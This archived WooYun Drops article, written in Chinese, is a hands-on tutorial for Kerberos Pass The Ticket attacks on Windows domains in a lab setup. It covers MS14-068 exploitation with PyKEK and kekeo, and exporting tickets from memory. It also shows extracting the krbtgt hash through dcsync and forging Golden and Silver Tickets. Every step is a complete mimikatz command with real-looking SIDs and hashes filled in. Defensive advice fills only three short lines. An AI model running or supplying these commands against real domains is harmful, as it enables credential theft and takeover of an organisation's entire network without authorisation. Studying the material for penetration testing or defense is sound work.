
        <html>
			<head>
			     <title>域渗透——Pass The Ticket - 三好学生</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/12159">http://drops.wooyun.org/tips/12159</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p>上篇介绍了有关Pass The Hash 和Pass The Key的技巧，这次接着介绍一下Pass The Ticket</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011804523676070160.png" alt="Alt text" /></p>

<p>此图片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/</p>

<!--more-->

<h1>0x01 简介</h1>

<hr />

<p>在域环境中，Kerberos协议被用来作身份认证，上图所示即为一次简单的身份认证流程，具体细节可以参考相关资料，这里仅介绍几个名词：</p>

<ul>
<li>KDC(Key Distribution Center)： 密钥分发中心，里面包含两个服务：AS和TGS</li>
<li>AS(Authentication Server)： 身份认证服务</li>
<li>TGS(Ticket Granting Server)： 票据授予服务</li>
<li>TGT(Ticket Granting Ticket): 由身份认证服务授予的票据，用于身份认证，存储在内存，默认有效期为10小时</li>
<li>Pass The Ticket： 如果我们能够拿到用户的TGT，并将其导入到内存，就可以冒充该用户获得其访问权限</li>
</ul>

<p>在了解了相关名词之后，我们从实际利用的角度来介绍与Pass The Ticket有关的技术</p>

<p><strong>测试环境：</strong></p>

<pre><code>#!bash
域控：
os:server 2008 r2 x64
ip：192.168.40.132

域内主机：
os:win7 x64
ip：192.168.40.225
</code></pre>

<h1>0x02 MS14-068</h1>

<hr />

<p>时至今日，该漏洞已经过去一年多，针对其攻击的防御检测方法已经很成熟，所以对其利用方法做一个回顾。</p>

<h3>1、PyKEK</h3>

<p>最先公开的利用方法是Sylvain Monné用Python实现的PyKEK</p>

<p>准备条件：</p>

<ul>
<li>域用户及其口令</li>
<li>域用户对应sid</li>
<li>域控地址</li>
<li>Win7及以上系统</li>
</ul>

<blockquote>
  <p><strong>Tips：</strong></p>
  
  <ol>
  <li>操作系统要求Win7及以上，这是因为XP不支持导入Ticket</li>
  <li>攻击主机可使用其他域用户信息，比如可以在主机A上用域用户B的口令及sid攻击</li>
  <li>将Python脚本转成exe即可在任意一台Windows主机使用</li>
  </ol>
</blockquote>

<p>漏洞利用的步骤为：</p>

<ul>
<li>如果漏洞触发成功，会生成.ccache文件</li>
<li>通过klist purge先清除内存中的Ticket</li>
<li>使用mimikatz的ptc功能将.ccache导入到内存</li>
<li>通过klist查看导入的Ticket</li>
<li>使用net use 连接域控</li>
</ul>

<blockquote>
  <p><strong>Tips：</strong></p>
  
  <ol>
  <li>如果不先清除内存中的Ticket直接导入，有可能会失败</li>
  <li>连接域控要使用域控地址，不要用IP</li>
  </ol>
</blockquote>

<h3>2、kekeo</h3>

<p>Benjamin DELPY用c实现了MS14-068的利用工具，更简单高效。</p>

<p>因为域用户对应sid本就可以通过程序自动获取，清除导入票据也能自动实现，当然，如果想用其他域用户信息攻击，也可以加上sid手动导入票据</p>

<p>kekeo的快捷用法仅需要以下参数：</p>

<ul>
<li>域用户及其口令</li>
<li>域控地址</li>
</ul>

<p>实际测试如图，成功获得了域控的访问权限</p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011804523945815229.png" alt="Alt text" /></p>

<p><img src="http://static.wooyun.org//drops/20160118/2016011804524160465322.png" alt="Alt text" /></p>

<p>下载地址：<br />
<a href="https://github.com/gentilkiwi/kekeo/releases">https://github.com/gentilkiwi/kekeo/releases</a></p>

<h1>0x03 Export the ticket</h1>

<hr />

<p>在我们成功获得域控权限后，就可以导出域控内存中的Ticket，在默认的10个小时以内都可以利用来登录域控</p>

<p>通过mimikatz导出内存中的Ticket，执行：</p>

<pre><code>#!bash
sekurlsa::tickets /export
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20160118/2016011804524331131424.png" alt="Alt text" /></p>

<p>保存成文件，一共导出如下文件，如图 <img src="http://static.wooyun.org//drops/20160118/2016011804524482635520.png" alt="Alt text" /></p>

<p>挑选其中的<code>[0;2d87a]<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="1e332c332e332a2e7b2e2e2e2e2e337f5e756c7c6a796a334a5b4d4a3052515d5f523075776c7c77">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script></code>在域普通用户的主机进行导入</p>

<p>执行：</p>

<pre><code>#!bash
mimikatz "kerberos::ptt C:\test\[0;2d87a]<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="1d302f302d30292d782d2d2d2d2d307c5d766f7f697a693049584e493351525e5c513376746f7f74">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>"
</code></pre>

<p>如图，导入成功 <img src="http://static.wooyun.org//drops/20160118/2016011804524647244617.png" alt="Alt text" /></p>

<p>查看是否有域控权限，如图 <img src="http://static.wooyun.org//drops/20160118/2016011804524841803715.png" alt="Alt text" /></p>

<blockquote>
  <p><strong>Tips：</strong></p>
  
  <ol>
  <li>64位系统使用ptt功能要用32位的mimikatz，如果用64的mimikatz，那么无法导入Ticket</li>
  <li>这种方式导入的Ticket默认在10小时以内生效</li>
  </ol>
</blockquote>

<h1>0x04 Golden Ticket</h1>

<hr />

<p>每个用户的Ticket都是由krbtgt的密码Hash来生成的，那么，我们如果拿到了krbtgt的密码Hash，不就可以随意伪造Ticket了吗？</p>

<p>实际上只要拿到了域控权限，在上面就可以很容易的获得krbtgt的Hash值，再通过mimikatz即可生成任意用户任何权限的Ticket，也就是Golden Ticket</p>

<h3>1、导出krbtgt的Hash</h3>

<p>在域控上执行</p>

<pre><code>#!bash
mimikatz log "lsadump::dcsync /domain:test.local /user:krbtgt"
</code></pre>

<p>生成mimikatz.log记录输出，使用log输出是为了方便复制Hash值</p>

<p>如图: <img src="http://static.wooyun.org//drops/20160118/2016011804525037386815.png" alt="Alt text" /></p>

<p>找到如下信息：</p>

<pre><code>#!bash
/domain：test.local
/sid:S-1-5-21-4155807533-921486164-2767329826 
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f
</code></pre>

<h3>2、生成Golden Ticket</h3>

<p>伪造的用户设置为god,执行</p>

<pre><code>#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 
/aes256:af71a24ea463446f9b4c645e1bfe1e0f1c70c7d785df10acf008106a055e682f /user:god 
/ticket:gold.kirbi"
</code></pre>

<p>生成文件gold.kirbi</p>

<blockquote>
  <p><strong>Tips:</strong></p>
  
  <p>生成Golden Ticket不仅可以使用aes256，也可用krbtgt的NTLM hash<br />
  可以用<code>mimikatz "lsadump::lsa /patch"</code>导出</p>
</blockquote>

<p>如图 <img src="http://static.wooyun.org//drops/20160118/2016011804525192783914.png" alt="Alt text" /></p>

<p>导入Golden Ticket，执行如下命令：</p>

<pre><code>#!bash
kerberos::ptt c:\test\gold.kirbi
</code></pre>

<p>如图，成功获得域控权限 <img src="http://static.wooyun.org//drops/20160118/20160118045253367301016.png" alt="Alt text" /></p>

<blockquote>
  <p><strong>Tips：</strong></p>
  
  <ol>
  <li>这种方式导入的Ticket默认在20分钟以内生效，当然，如果过期了，再次ptt导入Golden Ticket就好</li>
  <li>可以伪造任意用户，即使其不存在</li>
  <li>krbtgt的NTLM hash不会轻易改变，即使修改域控管理员密码</li>
  </ol>
</blockquote>

<h1>0x05 Silver Ticket</h1>

<hr />

<p>Silver Ticket是伪造的TGS(Ticket Granting Server)ticket，所以也叫service ticket</p>

<p>将它同Golden Ticket做对比：</p>

<h3>1、访问权限不同</h3>

<p>Golden Ticket是伪造的TGT(Ticket Granting Ticket)，所以可以获取任何Kerberos服务权限</p>

<p>Silver Ticket是伪造的TGS，也就是说其范围有限，只能访问指定的服务权限</p>

<h3>2、加密方式不同</h3>

<p>Golden Ticket是由krbtgt的hash加密</p>

<p>Silver Ticket是由服务账户（通常为计算机账户）hash加密</p>

<h3>3、认证流程不同</h3>

<p>Golden Ticket在使用的过程需要同域控通信</p>

<p>Silver Ticket在使用的过程不需要同域控通信</p>

<p><strong>举例说明Silver Ticket：</strong></p>

<p>正常的认证流程为 <img src="http://static.wooyun.org//drops/20160118/20160118045254154911118.png" alt="Alt text" /></p>

<p>此图片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/</p>

<p>如果使用了Silver Ticket，认证流程变为 <img src="http://static.wooyun.org//drops/20160118/20160118045256924591213.png" alt="Alt text" /></p>

<p>此图片引用自http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/</p>

<p>不难看出其中取消了步骤<code>1-4</code></p>

<p>也就是说只要手里有Silver Ticket，就可以跳过KDC认证，直接去访问指定的服务。</p>

<p><strong>比如现在要访问域控上的“cifs”服务</strong>（cifs服务用于Windows主机间的文件共享）</p>

<p>首先需要获得如下信息：</p>

<ul>
<li>/domain</li>
<li>/sid</li>
<li>/target:目标服务器的域名全称，此处为域控的全称</li>
<li>/service：目标服务器上面的kerberos服务，此处为cifs</li>
<li>/rc4：计算机账户的NTLM hash，域控主机的计算机账户</li>
<li>/user：要伪造的用户名，此处可用silver测试</li>
</ul>

<p>在域控上执行如下命令来获取域控主机的本地管理员账户hash</p>

<pre><code>#!bash
mimikatz log "sekurlsa::logonpasswords"
</code></pre>

<p>如图 <img src="http://static.wooyun.org//drops/20160118/20160118045258859671313.png" alt="Alt text" /></p>

<blockquote>
  <p><strong>注：</strong></p>
  
  <p>此处要找到计算机账户，也就是<code>Username : WIN-8VVLRPIAJB0$</code>的<code>NTLM hash</code>，如果是其他账户，那么会失败</p>
</blockquote>

<p>整理以上获得的信息如下：</p>

<ul>
<li>/domain:test.local</li>
<li>/sid:S-1-5-21-4155807533-921486164-2767329826 </li>
<li>/target:WIN-8VVLRPIAJB0.test.local </li>
<li>/service:cifs </li>
<li>/rc4:d5304f9ea69523479560ca4ebb5a2155 </li>
<li>/user:silver</li>
</ul>

<p>使用mimikatz执行如下命令导入Silver Ticket</p>

<pre><code>#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:cifs /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:silver /ptt"
</code></pre>

<p>如图，成功导入，此时可以成功访问域控上的文件共享</p>

<p><img src="http://static.wooyun.org//drops/20160118/20160118045259636391411.png" alt="Alt text" /></p>

<p><img src="http://static.wooyun.org//drops/20160118/20160118045301480271510.png" alt="Alt text" /></p>

<p><strong>为了加深理解，再举一个例子</strong></p>

<p><strong>访问域控上的“LDAP”服务</strong></p>

<p>整理信息如下，只需要把/service的名称改为LDAP,/user改为krbtgt,/rc4改为krbtgt的NTLM HASH</p>

<ul>
<li>/domain:test.local</li>
<li>/sid:S-1-5-21-4155807533-921486164-2767329826 </li>
<li>/target:WIN-8VVLRPIAJB0.test.local </li>
<li>/service:LDAP</li>
<li>/rc4:d5304f9ea69523479560ca4ebb5a2155 </li>
<li>/user:krbtgt</li>
</ul>

<p>mimikatz导入Silver Ticket的命令为：</p>

<pre><code>#!bash
mimikatz "kerberos::golden /domain:test.local /sid:S-1-5-21-4155807533-921486164-2767329826 /target:WIN-8VVLRPIAJB0.test.local /service:LDAP /rc4:d5304f9ea69523479560ca4ebb5a2155 /user:krbtgt /ptt"
</code></pre>

<p>此时<code>dir \\WIN-8VVLRPIAJB0.test.local\c$</code> 发现无法访问，也就是前面提到的</p>

<blockquote>
  <p>Silver Ticket是伪造的TGS，也就是说其范围有限，只能访问指定的服务权限</p>
</blockquote>

<p>如图，虽然成功导入，但是无法访问域控的文件共享 <img src="http://static.wooyun.org//drops/20160118/2016011804530234483167.png" alt="Alt text" /></p>

<p>但是执行如下命令可以远程访问LDAP服务来获得krbtgt的信息：</p>

<pre><code>#!bash
mimikatz "lsadump::dcsync /dc:WIN-8VVLRPIAJB0.test.local /domain:test.local /user:krbtgt"
</code></pre>

<p>如图，成功远程获得krbtgt账户信息 <img src="http://static.wooyun.org//drops/20160118/2016011804530435070176.png" alt="Alt text" /></p>

<p>注：</p>

<pre><code>lsadump::dcsync
向 DC 发起一个同步对象（可获取帐户的密码信息）的质询。
需要的权限包括管理员组（Administrators），域管理员组（ Domain Admins）或企业管理员组（Enterprise Admins）以及域控制器的计算机帐户
只读域控制器默认不允许读取用户密码数据
</code></pre>

<p>参数选项：</p>

<pre><code>/user - 要查询的用户id 或 SID
/domain（可选的）默认设置为当前域。
/dc（可选的）指定DCSync 连接的域控位置
</code></pre>

<p>当然，还有其他服务可通过伪造Silver Ticket访问：</p>

<p>如图列举了其他可用作Silver Ticket的服务： <img src="http://static.wooyun.org//drops/20160118/2016011804530538083186.png" alt="Alt text" /></p>

<p>此图片引用自https://adsecurity.org/?p=2011</p>

<h1>0x06 防御</h1>

<hr />

<ol>
<li>域控及时更新补丁</li>
<li>时刻监控域控日志</li>
<li>限制mimikatz使用</li>
</ol>

<h1>0x07 小结</h1>

<hr />

<p>本文介绍了和Pass The Ticket有关的技术，着重对实际使用的一些情况做了演示，无论攻防，只有实践，才会进步。</p>

<p>Real knowledge comes from practices.</p>

<h1>0x08 参考资料：</h1>

<hr />

<ul>
<li><a href="http://www.roguelynn.com/words/explain-like-im-5-kerberos/">http://www.roguelynn.com/words/explain-like-im-5-kerberos/</a></li>
<li><a href="https://www.youtube.com/watch?v=ztY1mqsBedE">https://www.youtube.com/watch?v=ztY1mqsBedE</a></li>
<li><a href="https://adsecurity.org/?p=1515">https://adsecurity.org/?p=1515</a></li>
<li><a href="https://adsecurity.org/?p=1640">https://adsecurity.org/?p=1640</a></li>
<li><a href="https://adsecurity.org/?p=2011">https://adsecurity.org/?p=2011</a></li>
<li><a href="http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/">http://dfir-blog.com/2015/12/13/protecting-windows-networks-kerberos-attacks/</a></li>
</ul>

<p><strong>本文由三好学生原创并首发于乌云drops，转载请注明</strong></p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          